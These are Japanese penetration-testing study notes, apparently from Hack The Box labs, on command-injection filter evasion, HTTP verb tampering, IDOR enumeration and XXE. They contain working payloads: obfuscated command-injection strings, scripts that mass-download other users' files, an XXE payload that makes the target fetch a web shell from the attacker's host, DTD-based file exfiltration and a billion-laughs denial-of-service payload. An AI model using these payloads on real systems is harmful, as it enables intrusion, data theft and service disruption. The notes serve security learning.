逆順コマンド
- コマンドを逆順にして記述し、それを実行時に元に戻して実行する難読化手法
- 例えば whoami コマンドを避けたい場合
- ブラックリストに引っかからないように imaohw のように逆順に記述し、それを実行時に正しい順に戻して処理する
Linux
- コマンドの逆順を取得する
snowyowl644@htb[/htb]$ echo 'whoami' | rev
imaohw
- 逆順コマンドを元に戻して実行
21y4d@htb[/htb]$ $(rev<<<'imaohw')
21y4d
Windows
- このテクニックはWindowsでも同様に使える
- まず、文字列を逆順にする
PS C:\htb> "whoami"[-1..-20] -join ''
imaohw
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d
コマンドのエンコード
- ここで紹介する最後のテクニックは、フィルター対象の文字や、サーバ側でURLデコードされてしまうような文字を含むコマンドに対して有効
- このような文字があると、シェルに到達する前にコマンドが崩れてしまい、最終的に実行に失敗することがある
- インターネット上の既存の例をコピペするのではなく、自分でユニークな難読化コマンドを作成することで、フィルターやWAFに引っかかりにくくする
- 作成するコマンドは、使用可能な文字やサーバのセキュリティレベルに応じてケースごとに異なるものになる
コマンドをエンコードするために、以下のようなツールを利用できる
- base64(Base64エンコード)
- xxd(16進数エンコード)
Base64を使ったコマンド難読化
Linux
- まず、実行したいペイロードをエンコードする
snowyowl@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
- これをサブシェル $() でデコードし、bash<<< を使って実行する
- ここでは |(パイプ文字)がフィルターされているため、それを回避するために <<< を使用している
snowyowl644@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Windows
- 同じテクニックはWindowsでも有効
- まず、対象のコマンドをBase64でエンコードする
PS C:\htb> [Convert]::ToBase64StringUnicode.GetBytes('whoami')
dwBoAG8AYQBtAGkA
- Linuxで同じBase64を得たい場合は、utf-8 から utf-16le に変換してからエンコードする必要がある
snowyowl644@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
dwBoAG8AYQBtAGkA
最後に、PowerShellでこのBase64文字列をデコードし、サブシェルで実行する
PS C:\htb> iex "$FromBase64String('dwBoAG8AYQBtAGkA'))"
21y4d
その他の技術
今回紹介した手法以外にも、以下のような技術を組み合わせて使用できる
• ワイルドカード(*
など)
• 正規表現
• 出力リダイレクト(>、>>)
• 数値展開($((1+2)) など)
これらの技術については、PayloadsAllTheThings でさらに多くの例が紹介されている
コマンドのエンコードと、これまでのバイパスを行ったコマンド
ip=127.0.0.1%0a%09b"a""s""h"<<<$("b"a"s"e"6"4%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)
回避ツール
- 高度なセキュリティツールを使っている場合、手動で行う基本的な難読化テクニックでは通用しないことがある
- 自動化された難読化ツールを使用するのが最適
Linux
Linuxでbashコマンドを難読化する際に便利なツール : Bashfuscator
snowyowl644@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
snowyowl644@htb[/htb]$ cd Bashfuscator
snowyowl644@htb[/htb]$ pip3 install setuptools==65
snowyowl644@htb[/htb]$ python3 setup.py install --user
./bashfuscator/bin/
ディレクトリからツールを使用できる
snowyowl644@htb[/htb]$ cd ./bashfuscator/bin/
snowyowl644@htb[/htb]$ ./bashfuscator -h
usage: bashfuscator [-h] [-l] ...SNIP...
難読化
- 基本的な使用例として -c オプションで難読化したいコマンドを渡す
- 以下のコマンドだと、ランダムな難読化技法が使われるため、数百文字から100万文字以上の長大なコマンドになることもある
snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 characters
コンパクトな難読化を作る
snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
難読化したコマンドの実行
snowyowl644@htb[/htb]$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bash
...SNIP...
Windows
- DOSfuscation と呼ばれる、非常によく似た難読化ツール
- 対話型ツール
環境の構築
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...
Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscation
難読化の実行
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
test_flag
- Windowsの仮想マシン(VM)にアクセスできない場合でも、Linux上の PowerShell(pwsh) を使ってこのコードを実行することが可能
- pwsh を実行し、その中で上記と同じコマンドを使用
HTTPメソッドの改ざん
- 最初に扱う攻撃は HTTP Verb Tampering(HTTPメソッド改ざん)
- この攻撃は、複数のHTTPメソッドを許容するウェブサーバーの性質を悪用する
- 予期されないHTTPメソッド(例:PUT や DELETE)を送信することで、認可機構をバイパスしたり、他のセキュリティ対策をすり抜けたりすることが可能
- これは、悪意あるHTTPリクエストを送ることで、ウェブサーバーの設定の弱点を突くHTTP系攻撃のひとつ
HTTPメソッド一覧
メソッド | 説明 |
---|---|
HEAD | GETと同様だが、レスポンスボディを含まずヘッダだけ返す |
PUT | 指定した場所にデータを書き込む |
DELETE | 指定した場所のリソースを削除する |
OPTIONS | 受け入れ可能なメソッドの一覧などを返す |
PATCH | リソースに対して一部だけ変更を加える |
- これらのメソッドを許可していたら、攻撃者にサーバーを操作されるリスクがある
- サーバー側の設定ミスやアプリケーションの実装ミスに起因する
不適切な設定
- サーバーがある特定のメソッドにだけ認証を求めている場合、それ以外のメソッドを使えば認証をスキップできてしまうことがある
以下のコードでは、GETとPOSTにしか認証を求めていない
<Limit GET POST>
Require valid-user
</Limit>
- 攻撃者がHEADなど別のメソッドを使えば、認証をバイパスできてしまう
不適切なコーディング
- もう一つのタイプは、開発者の実装ミスによって発生するもの
- 例えば、SQLインジェクション対策として、GETパラメータだけに入力フィルターをかけているような場合
- このコードでは、
$_GET["code"]
に対してだけチェックを行っており、実際のクエリには$_REQUEST["code"]
(GET・POSTどちらも含む)が使われている
$pattern = "/^[A-Za-z\s]+$/";
if(preg_match($pattern, $_GET["code"])) {
$query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
...SNIP...
}
- 攻撃者がPOSTメソッドを使って悪意のあるデータを送れば、GETには悪い文字列がないためチェックをすり抜け、SQLインジェクションが実行されてしまう
攻撃手法
- HTTPメソッド改ざん(HTTP Verb Tampering)による攻撃は、比較的シンプルな手順で実行可能
- 基本的には、別のHTTPメソッドを使って、ウェブサーバーやアプリケーションがどのようにそれらを処理するかを確認するだけ
Basic認証のバイパス
まず、どこがBasic認証で保護されているのかを確認する
次に、そのページが使っているHTTPメソッドを確認する必要がある
- Burpを使って確認する
- POSTリクエストを送って、認証がGETだけに適用されているかを試します。
Burpの「Change Request Method」機能を使って、GETからPOSTに変更できる
POSTで、Basic認証が突破できなかったので、POSTでも保護されていることがわかる
サーバーが許可しているHTTPメソッドを確認
- このコマンドで、サーバーが受け入れているHTTPメソッドを確認できる
- 出てこない時もある
- ディレクトリやファイル単位で挙動が違う
- 特に .php ファイルなどスクリプトのエンドポイントは、サーバーではなくアプリケーション側(PHP)で処理されることが多い
snowyowl644@htb[/htb]$ curl -i -X OPTIONS http://SERVER_IP:PORT/
HTTP/1.1 200 OK
Date:
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory
サーバーがHEADメソッドを受け入れていることがわかる
- 多くのサーバーのデフォルト設定
エクスプロイト
- 再度「Reset」機能のリクエストをキャプチャし、HTTPメソッドをHEADに変更して送信する
- (HEADメソッドはボディを返さないため、見た目は「何も起きていない」ように見えます)
- すると、ログインのプロンプトも出ず、401エラーにもならず、空のレスポンスが返ってくるはず
しかし、resetは実際に起きている - 認証を突破して、resetを実行できたってこと
セキュリティフィルターのバイパス
- ウェブアプリケーション開発時のコーディングミスによって発生するもの
- たとえば、インジェクション攻撃を検知するためにPOSTパラメータ(例:
$_POST['parameter']
)だけをチェックするセキュリティフィルターがある- リクエストメソッドをGETに変更するだけでそのフィルターを回避できてしまう可能性がある
脆弱性の特定
- File Managerウェブアプリケーションで、特殊文字を含むファイル名(例:test;)で新規作成しようとすると、エラーメッセージが起きる
- アプリケーションのバックエンドに特定のフィルターが存在し、インジェクション攻撃を検知してリクエストをブロックしていることがわかる
エクスプロイト
Burpsuiteでメソッドを切り替えて、実行する
- すると、実行できてしまう
IDOR
概要
- Insecure Direct Object References : 安全でない直接オブジェクト参照
- Webアプリケーションがファイルやデータベースリソースなどのオブジェクトへの直接的な参照を公開しており、その参照をエンドユーザーが操作することで、他の類似したオブジェクトにアクセスできてしまう場合に発生する
攻撃例
- よくある(download.php?file_id=123)の時に、id=124にしたら、他のデータも見れるかもしれないみたいな
- 多くのケースでは、IDが推測可能であるため、攻撃者が許可されていない多くのファイルやリソースを取得できる可能性がある
- 内部オブジェクトやリソースへの直接参照を公開しているだけでは、それ自体が脆弱性というわけではない
- 情報漏洩型IDOR脆弱性(IDOR Information Disclosure Vulnerabilities) : 他のユーザーのプライベートなファイルやリソース(たとえば個人ファイルやクレジットカードデータなど)にアクセスできてしまうもの
- 参照しているオブジェクトの種類によっては、他のユーザーのデータを改ざんまたは削除することさえ可能となり、結果としてアカウントの完全な乗っ取りにつながることもある
対策
- IDOR脆弱性は主にバックエンドのアクセス制御の欠如によって発生する
- 「ロールベースのアクセス制御(RBAC)など
識別方法
URL パラメータと API
- IDOR 脆弱性を悪用する最初のステップは、「直接オブジェクト参照(Direct Object References)」を特定すること
- 特定のファイルやリソースを受け取ったときは、HTTPリクエストを調査
- オブジェクト参照を含む URL パラメータや API(例:?uid=1 や ?filename=file_1.pdf)を探す
- クッキーのような他の HTTP ヘッダーにあることもある
基本的なケース
- オブジェクト参照の値をインクリメントして他のデータを取得できるか試す
- ?uid=1
- ?uid=2
- ファジングツールを使って数千通りのバリエーションを試し、何かしらのデータが返ってくるかを確認することも可能
AJAX呼び出しの調査
- フロントエンドの JavaScript コード中の AJAX 呼び出しとして使われている、未使用のパラメータや API を特定できる場合もある
- 一部の JavaScript フレームワークで作られた Web アプリケーションでは、すべての関数がフロントエンドに定義されている
- ユーザーのロールに応じて使い分けられている
- 管理者アカウントがない場合は、ユーザー用の関数しか使われませんが、フロントエンドのコードには管理者用の関数も残っている可能性がある
AJAX呼び出しのコード
- 通常のユーザーとして Web アプリケーションを使っている間は呼び出されない
- しかし、フロントエンドのコードから見つければ、テストで呼び出せるかもしれない
- 呼び出しに成功して変更が可能⇨IDOR 脆弱性が存在している
function changeUserPassword() {
$.ajax({
url:"change_password.php",
type: "post",
dataType: "json",
data: {uid: user.uid, password: user.password, is_admin: is_admin},
success:function(result){
//
}
});
}
ハッシュ・エンコードの理解
- Web アプリケーションでは、オブジェクト参照として単純な連番を使うのではなく、エンコードやハッシュ化された値を使うことがある
- バックエンドにアクセス制御がなければ依然として悪用可能
- filenameなどがハッシュになっていたら、デコードして、ファイル名が、filenname_123などになっていたら、インクリメントして、エンコードしてIDOR脆弱性があるかを探す
ユーザーロールの比較
- 複数のユーザーアカウントを用意して、それぞれの HTTP リクエストとオブジェクト参照を比較することが有効
- この比較によって、URL パラメータや一意の識別子がどのように構成されているのかを理解し、他のユーザーのデータを取得するための推測が可能になる
攻撃
大量 IDOR 列挙
静的ファイル IDOR
- 最も基本的な IDOR
- ファイル名には uid と年月が含まれている
- 他ユーザーのファイルをファズすることができるかもしれない。
uid パラメータの操作
- URL を見ると、documents.php?uid=1 のように uid パラメータが GET で渡されている
- このパラメータが表示すべき従業員の記録を直接参照している場合、uid を変更するだけで他の従業員のファイルが見えるかもしれない
- 適切なアクセス制御があれば、「アクセス拒否」などが返されるべき
- uid を平文で直接渡している設計は、Web アプリケーションの設計として問題がある
大量列挙(Mass Enumeration)
- 他の従業員のファイル(uid=3, uid=4, …)も手動でアクセスすることは可能ですが、実際の環境では何百、何千というユーザーがいる可能性があり、手作業では非効率
- BurpとかOwaspのIntruder機能を使ってもいいけど、Bashでもできる
ファイルリンクの抽出
- Firefox で [CTRL+SHIFT+C] を押して要素インスペクターを起動し、リンクをクリックして HTML を確認する
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
- このようなリンクがあるので、
<li class='pure-tree_link'>
を目印に curl と grep を使ってリンクを抽出
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep "<li class='pure-tree_link'>"
- もっと精密に PDF ファイルだけ取り出すには、grep -oP を使って /documents/〜.pdf というパターンだけを取り出す
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
- UID 1〜10 までのすべての従業員のファイルをダウンロードするスクリプト
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
- このスクリプトを実行すれば、UID 1〜10 のすべての書類がダウンロードされる
エンコードされた参照の回避
- 一部の Web アプリケーションでは、オブジェクト参照をハッシュ化またはエンコードしており、列挙が難しくなっている
- ファイルのリクエストに何かのハッシュが埋め込まれている
ハッシュは、復号できない
- UID、ユーザー名、ファイル名など、様々な値を MD5 でハッシュ化してみて、一致するかどうか確認する
- 他の値も試してみることは可能ですが、うまくいかない場合は Burp の Comparer 機能を使って、大量の値を比較して一致を探すこともできる
- でも、この場合は、IDORの反対のSecure Direct Object Reference(安全なオブジェクト参照)かもしれない
関数の公開による失敗
- この Web アプリケーションには致命的なミスがある
- 開発者が誤って機密性の高い処理をフロントエンドで行ってしまうことがある
- すると、どのようにハッシュが生成されているかがわかるので、IDOR脆弱性を突くことができる
- 実際にこのアプリケーションでも、JavaScript の関数からハッシュ値が生成されている
- ソースコードを確認すると、リンクが
javascript:downloadContract('1')
のように呼び出されている
function downloadContract(uid) {
$.redirect("/download.php", {
contract: CryptoJS.MD5(btoa(uid)).toString(),
}, "POST", "_self");
}
- 関数からuidをBase64エンコードして、MD5ハッシュ化をしていることがわかる
ハッシュの復元と失敗
- 実際に同じよりでハッシュかして、ハッシュが取得したものと一致するのかを確認する
echo -n 1 | base64 -w 0 | md5sum
大量列挙(Mass Enumeration)
- このハッシュの仕組みが分かった今、他の従業員の契約書も列挙できる。
- burpとかでもできるけど、Bashでやってみる
スクリプトでハッシュ生成とダウンロード
snowyowl644@htb[/htb]$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
<SNIP>
生成したハッシュを使って他の人の資料もダウンロードできる
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
done
done
APIのIDOR脆弱性
- 情報を更新すると、PUTリクエストが/profile/api.php/profile/1という以下にAPIエンドポイントに送信される
{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "a_lindon@employees.htb",
"about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
- 特にroleはクライアント側のCookie(例:role=employee)によって設定されている
- アクセス制御がクライアント側に依存していることを示しており、攻撃者がこれらのパラメータを操作することで、権限を昇格させる可能性がある
不正なAPI呼び出しの試行
- 以下のような操作を試みることで、IDOR脆弱性を検証できる
- 他のユーザーのuidに変更:uidを2などに変更してみますが、APIエンドポイントの/1と一致しないため、「uid mismatch」というエラーが返されます。
- 他のユーザーの詳細情報の変更:APIエンドポイントを/profile/api.php/profile/2に変更し、uidも2に設定しますが、uuidが一致しないため、「uuid mismatch」というエラーが返されます。
- 新しいユーザーの作成:POSTリクエストを使用して新しいユーザーを作成しようとすると、「Creating new employees is for admins only」というエラーが返されます。
- ユーザーの削除:DELETEリクエストを使用してユーザーを削除しようとすると、「Deleting employees is for admins only」というエラーが返されます。
- roleの変更:roleをadminやadministratorに変更しようとすると、「Invalid role」というエラーが返され、役割の変更は成功しません。
- APIにはいくつかのアクセス制御が実装されており、直接的な不正操作は防がれているよう
情報漏洩型IDORの検証
- 機能呼び出しに対するIDOR脆弱性を検証してきましたが、情報漏洩型IDORについてはまだ検証していない
- APIのGETリクエストを使用して、他のユーザーの詳細情報を取得できるかどうかを試す
- もしAPIに適切なアクセス制御が実装されていなければ、他のユーザーの情報を取得できる可能性がある
情報漏洩型IDORが成功する例
IDORの連携攻撃
-
情報漏洩型IDOR ⇨ 他ユーザー情報の改ざん ⇨ APIでのユーザーの権限昇格
-
情報漏洩型IDOR
- 他人の情報を閲覧するだけでなく、改ざんも可能になる
- 攻撃もできる
- 他人のメールアドレスを書き換えてパスワードリセットリンクを自分に送らせる
- about にXSSペイロードを仕込んで、そのユーザーがプロフィールを開いたときに攻撃する
- 管理者ユーザーの探索
見つかった管理者ユーザー
{
"uid": "X",
"uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
"role": "web_admin",
"full_name": "administrator",
"email": "webadmin@employees.htb",
"about": "HTB{FLAG}"
}
自分のロールを変更して管理者になる
1. プロフィール更新時のリクエストをBurpなどでキャプチャ
2. JSON内の "role": "employee" を "web_admin" に書き換えて送信
3. エラーが出なければ成功。GETで確認すると、ロールが変更されている
XXE
- ユーザーが制御できる入力からXMLデータを取得する際に、適切なサニタイズや安全なパース処理を行わずに受け取ってしまうことで発生する
- これにより、攻撃者はXMLの機能を利用して悪意ある操作を実行できる可能性がある
- XXE脆弱性は、機密ファイルの漏洩からバックエンドサーバーの停止まで行われる
XML DTD(Document Type Definition)
- DTD(ドキュメント型定義) は、XMLドキュメントの構造を事前に定義し、それに対してXMLをバリデートするための仕組み
- DTDはXMLドキュメント内、または外部ファイルとして定義できる
以下はメール構造XMLのためのDTDの例
- DTDはXMLの冒頭、XML宣言の次に配置することもできる
- 外部ファイル・URLを参照することも可能
<!DOCTYPE email [
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
XMLエンティティ(Entities)
- DTDでは、カスタムエンティティ(変数のようなもの)を定義して、再利用性を高めたり、冗長なデータを省いたりすることができる
- !ENTITY> キーワードで定義される
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
外部XMLエンティティも参照可能な点
- SYSTEM キーワードとファイルパスを使って、外部ファイルを読み込む
- 「SYSTEM」の代わりに「PUBLIC」を使うことも可能
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
- 外部エンティティを参照(例:&signature;)すると、サーバー上でXMLがパースされる際にその外部ファイルの内容が読み込まれ、値として展開される
- SOAP APIやWebフォームのように、XMLがサーバー側で処理される場面では、ローカルファイルを読み込んでユーザーに開示してしまう
ローカルファイルの開示
- WebアプリケーションがユーザーからのフィルタリングされていないXMLデータを信頼して処理している場合、外部のXML DTD(Document Type Definition)を参照したり、新しいカスタムXMLエンティティを定義したりできる可能性がある
- もし、エンティティを定義して、それがWebページに表示されるなら、ローカルファイルを参照する外部エンティティも同様に定義できるかもしれない
- そしてそのエンティティの値が表示されることで、バックエンドサーバー上のファイルの内容が読み取れてしまう可能性がある
脆弱性の識別
- 最初のステップは、ユーザーからのXML入力を受け取るWebページを見つけること
- Contact Form(お問い合わせフォーム)など
- フォームに入力して「Send Data(データ送信)」をクリックし、BurpでHTTPリクエストをインターセプトしてみると、XML形式で、webサーバーに送信されていることがわかる
- XXEの攻撃対象として有望
- XXEの攻撃対象として有望
このPOSTの出力からわかること
- このアプリケーションが古いXMLライブラリを使っていて、サニタイズやフィルターをしていない場合、このXMLフォームを利用してローカルファイルを読み込むことができるかもしれない
レスポンスからわかること
<email>
要素の値がページ上に表示されているのが確認できる- 「どのXML要素が出力されているか」を特定することで、どこにエンティティを挿入すればよいかがわかる
- 出力されているので、ここにエンティティを注入してテストする
カスタムエンティティの挿入
- DTDとENTITY定義を、XMLの1行目の直後に追加する
- 今回は、emailにエンティティを注入するから、emailについて書く
- もしすでに
<!DOCTYPE>
が存在している場合は、その中に<!ENTITY>
だけを追加すればOK
<email>
タグの中に&company;
を使用してみます。これにより、定義した「Inlane Freight」に置き換わるかを確認
レスポンスからわかること
- エンティティが展開されて値が表示されたことが確認できた
- (&company; → Inlane Freight に変換された)
- これは、サーバー側がXMLをパースし、エンティティを解釈していることを示している
- このWebアプリケーションがXXE脆弱性を持っていると判断できる
JSONの場合
- 一部のWebアプリケーションでは、リクエストがデフォルトでJSON形式ですが、実はXML形式のリクエストも受け入れていることがある
- このような場合、HTTPヘッダーの Content-Type を application/xml に変更し、JSON → XML に変換すれば、XXEテストが可能になる場合もある
機密ファイルの読み取り
- 内部エンティティだけでなく、外部エンティティを定義してみる
- 方法は簡単で、SYSTEM キーワードを使い、参照先にローカルファイルのパスを指定する
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
今度は &company; に /etc/passwd ファイルの内容が展開され、画面に表示される
読み出せるファイル
- 設定ファイル(config.php, .env など)→ パスワードやデータベース接続情報が含まれる
- SSH秘密鍵(例:/home/user/.ssh/id_rsa)→ サーバーへのログインが可能になる
- JavaベースのWebアプリケーションでは、ファイルではなくディレクトリパスを指定することで、ディレクトリリストを取得できるケースもある
ソースコードの読み取り
- 同じ手法だと、外部エンティティとして読み込む時にエラーが出て内容が表示されない
⇨file://
の代わりにphp://filter/convert.base64-encode/resource=ファイル名
を使う
DTDとエンティティ
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
index.php のbase64文字列が出力されている様子
XXEによるRCE
最も簡単な方法は
- SSH鍵を探す
- Windowsベースのサーバーでハッシュを盗むリクエストを送る(SMB経由)
- または、PHPアプリケーションで
php://expect
フィルタを使用する(ただし、expectモジュールが必要)
Webシェルを配置する最も確実な方法
- 自分のマシンに簡単なWebシェルを作成
snowyowl644@htb[/htb]$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
snowyowl644@htb[/htb]$ sudo python3 -m http.server 8080
- ターゲットサーバーにcurlでシェルをダウンロードさせる
$IFS
を使ってスペースを置き換えている- これはXML構文を壊さないための工夫
- また、| や > などの特殊文字も避けるべき
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP:8080/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
- リクエストを送信すると、ターゲットサーバーが自動的に shell.php をダウンロードし、Webシェルとして配置される
- その後、URLでアクセスしてコマンドを実行できる
⚠️ 注意
- expect モジュールはモダンなPHP環境ではインストールされていないことが多く、常に成功するとは限らない
- そのため、XXEは通常、ファイルの開示やソースコードの読み取りに使われ、他の脆弱性の発見や権限昇格の足がかりとなる
SSRF
- Server Side Request Forgery
- XXEは、SSRF攻撃にも使用されることもある
- ローカルポートの列挙
- ローカルホスト上のサービスへのアクセス
- 内部の管理ページやAPIの取得
が可能になる
DoS
- 以下のようなペイロードを使って、無限に自己参照するエンティティを定義し、サーバーのリソースを枯渇させられる
- XMLパーサーの再帰参照処理を悪用してサーバーをクラッシュさせる
- ただし、最新のWebサーバー(例:Apache)では自己参照対策がされているため、上記の攻撃は効果がないことが多い
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
CDATA を用いた高度な情報漏洩
-
PHPフィルターが使えない時
-
CDATA タグ(例:
<![CDATA[ FILE_CONTENT ]]>
)で外部ファイルの中身を囲んで XML パーサに「生データ」として処理させることができる- これにより、特殊文字を含むデータも XML フォーマットを壊すことなく取り扱える
-
簡単な方法
- CDATA の開始・終了タグを内部エンティティとして定義し、その間に外部ファイルのエンティティを挿入する
-
CDATAにXML パラメータエンティティ(parameter entity)を組み合わせる
-
% 記号で始まり、DTD 内でのみ使用可能な特殊なエンティティ
-
パラメータエンティティを外部ソース(例:自分のサーバ)から参照することで、全体を外部エンティティとして扱い、結合することが可能になる
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
XMLとして、これを送信する
- このリクエストを送ると、
submitDetails.php
のソースコードがそのまま表示される
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
- Base64 エンコードせずに直接取得できるため、効率的に様々なファイルを調査し、パスワードやシークレット情報を探すことが可能
- 注意 : 一部のモダンな Web サーバでは、index.php などのファイルを読み取ろうとすると、自己参照ループ(DoS 攻撃)を防止するために読み取りをブロックする場合がある
ErrorベースXXE
- 「ウェブアプリケーションが出力を一切表示しない」場合のXXE
- webアプリケーションの出力がない場合は、XML入力エンティティの出力内容をコントロールできない
- 通常の方法ではファイルを取得できない
- だけど、webアプリケーションが実行時にエラーを出すなら、XXEの出力結果を読み取ることができる
- XML入力に対して適切な例外処理を行っていない場合
エラーを起こさせる方法
-
閉じタグを削除する
-
タグの綴りを変更して閉じないようにする(例:
<root>
の代わりに<roo>
) -
存在しないエンティティを参照する
-
エラーが出力された
-
その中でウェブサーバーのディレクトリ構造が明らかになった
-
これにより、他のファイルのソースコードを読み取るための手がかりを得ることができる
まず、以下のペイロードを含むDTDファイルをホスティングする
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
-
このペイロードでは、まず
%file
というパラメータエンティティを定義し、それを存在しないエンティティ%nonExistingEntity;
と連結する形で%error
を定義している -
今回は %nonExistingEntity; が存在しない
- アプリケーションは「そのエンティティが存在しない」というエラーを表示し、その中に %file; の内容(つまり /etc/hosts の内容)が含まれることになる
-
以下のようなXMLデータを使って外部DTDスクリプトを呼び出し、
%error;
を参照する
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%error;
]>
- ファイルのソースコードを読むことも可能
- DTDスクリプト内のファイル名を、例えば "file:///var/www/html/submitDetails.php" のように変更するだけ
- でもいくつかの制限がある
- 出力される内容に長さ制限がある場合がある
- 特殊文字が含まれていると出力が崩れることがある
アウトオブバンド(OOB)データ抽出
- 完全にブラインドな状況
- つまり「XMLエンティティの出力も、PHPのエラーも一切表示されない」ようなケースで、ファイルの内容をどのように取得するかを見ていく
- 今までのどのXEE脆弱性も機能しない
- これまでは、読み込んだファイルの内容をXMLエンティティに出力させようとしていた
- 今回は、ファイルの内容を含んだHTTPリクエストを、ターゲットサーバーから自分のサーバーに送信させるという方法をとる
攻撃者のサーバーでホストするコード
index.php
<?php
if(isset($_GET['content'])){
